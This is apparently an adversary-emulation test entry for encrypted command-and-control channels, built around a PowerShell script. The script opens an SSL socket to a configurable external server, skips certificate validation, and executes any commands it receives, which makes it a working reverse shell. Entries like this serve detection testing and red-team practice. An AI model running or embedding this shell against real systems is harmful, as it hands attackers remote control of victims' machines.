Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
Thanks to @OrOneEqualsOne for this quick C2 method. This is to test to see if a C2 session can be established using an SSL socket. More information about this technique, including how to set up the listener, can be found here: https://medium.com/walmartlabs/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926
Supported Platforms: Windows
| Name | Description | Type | Default Value |
|---|---|---|---|
| server_ip | IP of the external server | String | 127.0.0.1 |
| server_port | The port to connect to on the external server | String | 443 |
$server_ip = #{server_ip}
$server_port = #{server_port}
$socket = New-Object Net.Sockets.TcpClient('#{server_ip}', #{server_port})
$stream = $socket.GetStream()
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient('fake.domain', $null, "Tls12", $false)
$writer = new-object System.IO.StreamWriter($sslStream)
$writer.Write('PS ' + (pwd).Path + '> ')
$writer.flush()
[byte[]]$bytes = 0..65535|%{0};
while(($i = $sslStream.Read($bytes, 0, $bytes.Length)) -ne 0)
{$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data | Out-String ) 2>&1;
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$sslStream.Write($sendbyte,0,$sendbyte.Length);$sslStream.Flush()}